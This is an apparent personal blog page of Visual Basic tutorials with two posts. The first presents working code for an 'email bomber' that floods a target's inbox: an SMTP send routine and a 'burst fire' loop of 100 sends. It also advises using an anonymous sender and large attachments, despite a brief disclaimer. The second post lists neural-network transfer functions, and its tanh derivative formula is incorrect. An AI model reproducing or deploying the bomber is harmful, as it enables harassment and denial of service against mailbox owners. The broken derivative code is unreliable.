Visual basic Tutorials

Visual basic and basic programming can be said to be the foundation programming languages which have allowed for modern computing to advance to higher levels. currently today there are many programming languages available to use, and many have migrated to PYTHON, yet this can be said to be a phase which will probably be short lived. as a foundation programmer, i have programmed in many languages and yet i still use visual basic as my prime language, (also some C#/C++). I have found that there is nothing that cant be achieved with this programming language. i have decided that some of the most searched projects should be shared here. I do not use "Git Hub" as it is another website where employers who do not know about software developers mental processes expect you to display or share your work. often projects are unfinished or don't work! Whereas SourceForge have always been a better resource for learners of the programming craft. 

These shared templates or samples are free to use and can be used without copyrights!

Email Bomber

posted Jan 20, 2016, 11:47 AM by Leroy Dyer   [ updated Jan 20, 2016, 12:00 PM ]

The email bomber is a classic tool used to block or fill up somebody's email inbox with emails. 

It also can be considered to be a denial of service attack. (DOS)

the creation of such a tool can be considered unethical and should not be used to do harm!

Burst fire mode is created by using a timer in the application and on each tick of the timer an email is sent. This can be set to any amount of time required. 

Sending mass emails with a personal email would not be a smart move, so a disposable email or anonymous email sender would be required. 

to make the tool work it needs to be compiled with visual basic 2013. 

the details of the email needs to be added to the form in the initial loading the application. 

Large attachments can also be used to also fill the email inbox up. 

It should be noted that a good email management application will group emails by sender which will also allow for mass deletion of emails. 



Send Sub

    Private Sub Send()
        'Variables
        Dim SMTP As New SmtpClient
        Dim Email As New MailMessage
        Dim Attached As Attachment
        Attached = New Attachment(TextBoxAttachment.Text)
        'SMTP Credentials
        SMTP.Host = TextBoxHost.Text
        SMTP.EnableSsl = CheckBoxSSL.CheckState
        SMTP.Port = TextBoxPort.Text
        SMTP.Credentials = New Net.NetworkCredential(TextBoxUsername.Text, TextBoxPassword.Text)

        'Create Email
        Email.To.Add(TextBoxTo.Text)
        Email.From = New MailAddress(TextBoxFrom.Text)
        Email.Subject = TextBoxSubject.Text
        Email.Body = TextBoxMsg.Text

        'Check Attachments
        If CheckBoxAttached.CheckState = True Then
            Email.Attachments.Add(Attached)
        Else
        End If

        'Send Email
        SMTP.Send(Email)

        'Clear Attachments
        If CheckBoxAttached.CheckState = True Then
            Email.Attachments.Clear()
            Email.Attachments.Remove(Attached)
        Else
        End If
    End Sub


Burst Fire Mode

    Private Sub ButtonBurstFire_Click(sender As Object, e As EventArgs) Handles ButtonBurstFire.Click
        For i = 1 To 100
            If Check() = True Then Send()
        Next
    End Sub


Neural Network TransferFunctions

posted Jan 20, 2016, 7:05 AM by Leroy Dyer   [ updated Jan 20, 2016, 7:25 AM ]

the neural network is a tool used for classification and has currently become a hot topic as it has accomplished some advanced classification issues, yet it can be said that a neural net is only as good as its transfer functions!!

A few transfer functions been created in this class which i have created. 

Some of the functions have derivatives and some do not.


The class itself doesn't need to be instantiated the EvaluateTransferFunct function allows for the input to return the result to the caller. 

Code

 Enum TransferFunctionType
        none
        sigmoid
        HyperbolTangent
        BinaryThreshold
        RectifiedLinear
        Logistic
        StochasticBinary
        Gaussian
        Signum
    End Enum


This Enum / Type needs to be created as it holds the names of the transfer function types needed by the class. 


I have found that this method of creating a type list enables for the select case statement to become and effective tool and a type of decision tree process can be created. 

The file which has been uploaded is the class file i have added the exstension .FILE to the end which needs to be removed from the file name to be added to the vb project of your own!


There are many more functions in the class including Gaussian, Rectified and more. 

This class can be extended for better gradient descent models and stochastic methods .




Sigmoid


    Public Shared Function Sigmoid(ByRef Value As Integer) As Double

        'z = Bias + (Input*Weight)
        'Output = 1/1+e**z
        Return 1 / (1 + Math.Exp(-Value))
    End Function


    Public Shared Function SigmoidDerivitive(ByRef Value As Integer) As Double


        Return Sigmoid(Value) * (1 - Sigmoid(Value))
    End Function


TanH

    Public Shared Function HyperbolicTangent(ByRef Value As Double) As Double
        '    TanH(x) = (Math.Exp(x) - Math.Exp(-x)) / (Math.Exp(x) + Math.Exp(-x))

        Return Math.Tanh(Value)
    End Function


    Public Shared Function HyperbolicTangentDerivative(ByRef Value As Double) As Double
        HyperbolicTangentDerivative = 1 - (HyperbolicTangent(Value) * HyperbolicTangent(Value)) * Value
    End Function


1-2 of 2